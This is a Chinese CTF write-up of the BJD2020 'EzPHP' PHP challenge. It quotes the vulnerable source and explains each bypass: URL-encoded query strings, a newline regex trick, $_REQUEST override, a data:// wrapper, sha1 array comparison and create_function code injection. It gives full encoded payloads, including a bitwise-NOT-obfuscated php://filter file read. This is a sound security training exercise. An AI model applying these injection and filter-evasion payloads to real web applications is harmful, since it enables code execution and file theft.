这题是BJD2020第一届最难的一道题了,当时没有做出来,看完WP来复现下(复现也复现了半年
正好和昨天[SUCTF 2018]annonymous这题有类似的知识点,
考点:
·· 绕过QUERY_STRING正则
·· 绕过aqua_is_cute正则
·· 绕过$_REQUEST的字母
·· 绕过文件内容读取的比较
·· 绕过sha1
·· create_function()代码注入
解题:
打开靶机,是一个很精美的画面
查看源代码后发现base32加密的'GFXEIM3YFZYGQ4A=' 解密后得'1nD3x.php'访问
给了源码
<!--?php highlight_file(__FILE__); error_reporting(0); $file = "1nD3x.php"; $shana = $_GET['shana']; $passwd = $_GET['passwd']; $arg = ''; $code = ''; echo "<br ?--><span style="color: red;"><b>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</b>
</span>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
让我们来愉快的代码审计吧!
我们可以发现首先我们需要绕过的是
这一吨过滤在后面发现了$_SERVER['QUERY_STRING'] 之前有一道题有过经验,该方法不会自动解码url编码后的文字,所以只要编码绕过即可
再把关于$_SERVER['QUERY_STRING'] 相关的知识拿出来列一下
http://blog.sina.com.cn/s/blog_686999de0100jgda.html 在这里
1,http://localhost/aaa/ (打开aaa中的index.php) 结果: $_SERVER['QUERY_STRING'] = ""; $_SERVER['REQUEST_URI'] = "/aaa/"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php"; 2,http://localhost/aaa/?p=222 (附带查询) 结果: $_SERVER['QUERY_STRING'] = "p=222"; $_SERVER['REQUEST_URI'] = "/aaa/?p=222"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php"; 3,http://localhost/aaa/index.php?p=222&q=333 结果: $_SERVER['QUERY_STRING'] = "p=222&q=333"; $_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php"; 由实例可知: $_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值 $_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/ $_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php $_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
第二个需要绕过的点是这了,需要===aqua_is_cute且不能有这个 %0A换行绕过就行了
第三个就是这里foreach
遍历$_REQUEST
数组,将值赋给$value
,检测$value
是否包含字母,如果有则die()
根据Y1ng师傅的WP中所写,我们知道$_REQUEST
同时接受GET和POST的数据,并且POST具有更高的优先值
因此对于需要GET的一些参数,只需要同时POST一个数字即可绕过
第四个这里DATA伪协议绕过即可 data://text/plain;base64,++++++(一般base64编码)本题不用
第五个很简单的数组绕过即可
总结一下前面的payload:?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
解码后是
?file=data://text/plain,debu_debu_aqua&debu=aqua_is_cute&shana[]=1&passwd[]=2
post:debu=1&file=1
这时候我们发现网页已经显示出了最后一步
最后这个也是最难的,我们需要根据create_function这个函数来执行任意命令了
create_function()代码注入
设flag[code]=create_function 传入flag[arg]=}这里加入执行代码;//
原理上一篇文章讲过了,这里就不赘述了
过滤了很多命令,如何执行呢?
我们需要用一个函数输出所有变量的值
var_dump(get_defined_vars());
传入后发现。
吐了,flag又在rea1fl4g.php中,如何读取呢?
现在的困难:
- 过滤了include关键字
- 过滤了单引号双引号
- 过滤了flag关键字和类似无参数RCE题目中能够得到1flag.php字符串的各种函数的关键字,比如无法
scandir()
应对的策略:
- 过滤了include 还能用require
- 过滤了引号,可以使用那些参数可以不加引号的函数,
require()
代替require " "
- 过滤了flag,可以base64编码。其他过滤的不用便是
这里可以用require(base64_de%63ode(cmVhMWZsNGcucGhw));
注:因为还过滤了code 所以需要url编码。
注:在buu中,此方式只能读到原始flag即BJD版本,不能读取flag{}
所以还需要用下面的方法:
&require()
本地文件包含+用伪协议读源码,过滤了很多,可是没有过滤~ 所以可以取反绕过
flag[arg]=require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php) #取反绕过关键字 flag[arg]=require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
然后对关键字进行url编码
最终payload: http://e21ba9b8-1694-4ca6-bd05-c26d1e2dcac7.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61%5b%5d=%31&%70%61%73%73%77%64%5b%5d=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));// post:debu=1&file=1
这题真的太顶了。
在y1ng师傅博客中还有一些其他新知识。这里就不复制了
参考:2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup